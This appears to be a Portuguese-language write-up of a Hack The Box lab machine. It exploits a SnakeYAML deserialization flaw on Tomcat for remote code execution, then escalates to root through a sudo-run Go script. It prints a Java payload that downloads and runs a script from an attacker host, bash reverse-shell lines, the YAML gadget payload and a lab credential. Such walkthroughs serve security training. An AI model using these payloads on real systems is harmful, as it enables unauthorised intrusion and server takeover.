Ophiuchi Cover

Nesta máquina veremos uma vulnerabilidade de desserialização Yaml. Esta vulnerabilidade permite ao atacante obter acesso ao host através de um RCE (Remote Command Execution). O ‘privesc’ é feito com a obtenção de credenciais válidas após enumerar diretórios e arquivos dos programas e serviços executados no servidor e abusando das permissões de usuário para obter acesso ao host como usuário root.

Informações da Máquina

IP: 10.10.10.227

Sistema Operacional: Linux

Nível de dificuldade: Medium

Varredura e Enumeração

Port Scan

Esta é a saída do Nmap após um scan utilizando os scripts para verificação de versão dos serviços disponíveis e possíveis vulnerabilidades.

# Nmap 7.91 scan initiated Tue Jun 29 18:17:23 2021 as: nmap -vvv -sC -sV -p 22,8080 -Pn -oN details.txt 10.10.10.227
Nmap scan report for 10.10.10.227
Host is up, received user-set (0.24s latency).
Scanned at 2021-06-29 18:17:25 -03 for 17s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpzM/GEYunOwIMB+FyQCnOaYRK1DYv8e0+VI3Zy7LnY157q+3SITcgm98JGS/gXgdHQ4JnkCcXjUb9LaNRxRWO+l43E9v2b2U9roG8QetbBUl5CjJ0KHXeIwNgOcsqfwju8i8GA8sqQCELpJ3zKtKtxeoBo+/o3OnKGzT/Ou8lqPK7ESeh6OWCo15Rx9iOBS40i6zk77QTc4h2jGLOgyTfOuSGTWhUxkhqBLqSaHz80G7HsPSs1BA9zAV8BOx9WmtpMsgDcNG14JAQQd904RCzgw0OaQ0J6szs78Us8Piec0rF/T4b1H3sbUedOdA0QKgGbNojObVrz5VwOw6rqxbs1gZLePXB5ZNjm0cp+Sen8TkRkdUf7Sgw92B//RhSoIakp1u5eOPs/uJ6hyCholUnerl3WK8NPB9f9ICPYq8PbvVMu6zcytV/cCjwxFloWB989iyuqG/lYcdMhGJlAacOFy5TRcTB8c5Qlmtl44J/4dyuCJAhj5SY6TRdcSxhmz0=
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM79V2Ts2us0NxZA7nnN9jor98XRj0hw7QCb+A9U8aEhoYBcrtUqegExaj/yrxjbZ/l0DWw2EkqH4uly451JuMs=
|   256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO31s/C33kbuzZl9ohJWVEmLsW9aqObU6ZjlpbOQJt0C
8080/tcp open  http    syn-ack ttl 63 Apache Tomcat 9.0.38
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 29 18:17:42 2021 -- 1 IP address (1 host up) scanned in 19.64 seconds

Observando o resultado confirmamos a existência de duas portas abertas, a 22 (SSH) e a 8080 (Tomcat).

Webserver

Acessando a aplicação web na porta 8080 temos a seguinte página.

Página inicial

A página criada é uma ferramenta de ‘parsing’. Ou seja, desserializa o conteúdo enviado em sintaxe Yaml e o converte no ‘backend’ em Java. Para testar a aplicação foi enviado um conteúdo aleatório na sintaxe Yaml.

Teste do parser

O servidor responde com uma mensagem de erro.

Mensagem de erro

A mensagem informa que a “funcionalidade foi desativada devido a razões de segurança”, o que confirma que nesta página está a vulnerabilidade.

Vulnerabilidade

Pesquisando sobre “Yaml exploit” foi encontrado um exploit no github que permite um RCE (Remote Command Execution).

A “desserialização SnakeYAML” consiste em criar um arquivo .jar para que o servidor o execute.

Exploração

O primeiro passo é fazer o clone do projeto na máquina local.

$ git clone https://github.com/artsploit/yaml-payload.git

Alterar o arquivo AwesomeScriptEngineFactory.java, colocando o payload para subir um script em bash.

Runtime.getRuntime().exec("wget http://<ip>:<port>/myshell.sh -O /tmp/myshell.sh");
Runtime.getRuntime().exec("bash /tmp/myshell.sh");

Feita a alteração é necessário ter o OpenJDK instalado para efetuar a compilação do arquivo. No caso de não existir o OpenJDK na máquina do atacante, o seguinte comando faz a instalação.

$ sudo apt install openjdk-11-jdk

Efetuando a compilação do arquivo .java para gerar o .class.

$ javac src/artsploit/AwesomeScriptEngineFactory.java

Gerando o arquivo yaml-payload.jar.

$ jar -cvf yaml-payload.jar -C src/ .

Após a criação do executável .jar é necessário criar o script em bash chamado myshell.sh, que fará o ‘reverse shell’. Este é o seu conteúdo.

#!/bin/sh
bash -i >& /dev/tcp/<ip>/<port> 0>&1

Na máquina local, duas portas foram abertas para receber as conexões: uma para disponibilizar o .jar ao servidor e a outra para enviar o myshell.sh. Este é payload enviado no site para iniciar o processo.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://<ip>:8000/"]
  ]]
]
Envio da mensagem ao parser

O resultado é uma ‘reverse shell’ com o usuário tomcat.

Reverse shell

Com acesso ao host foi utilizado o linPEAS para enumerar e obter mais informações sobre a máquina. O resultado mostrou as credenciais do usuário admin no arquivo de configuração de usuários do Tomcat.

Tomcat admin user 
admin:whythereisalimit

Com estas credenciais foi feita a movimentação lateral, logando no usuário admin pelo terminal.

$ su - admin
Su admin

Obtendo a flag do usuário admin.

Flag admin user

Escalação de Privilégios

Para escalar privilégio na máquina foi verificada as permissões do usuário admin com o sudo.

Admin sudo 
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Analisando o diretório do usuário admin foi encontrado um arquivo deploy.sh.

Admin sudo

O usuário admin possui permissão para executar o aquivo index.go (feito em Go). Este é o conteúdo do arquivo.

Arquivo index.go

Juntando as partes, o index.go irá executar, com permissões de root, qualquer código malicioso injetado no deploy.sh. A última etapa é inserir um ‘reverse shell’ neste arquivo e executar o index.go com sudo.

Conteúdo injetado no arquivo deploy.sh.

/bin/bash -c 'bash -i >& /dev/tcp/<ip>/4444 0>&1';

Executando o arquivo index.go.

$ sudo /usr/bin/go run /opt/wasm-functions/index.go

Obtendo a ‘reverse shell’ como usuário root.

Root shell

Obtendo a flag do usuário root.

Root flag

Neste ‘writeup’ foi demonstrado como uma vulnerabilidade de desserialização via Web pode comprometer um servidor. Também vimos como uma permissão de execução de binário ou script pode permitir ao atacante o controle total da máquina.

Até a próxima!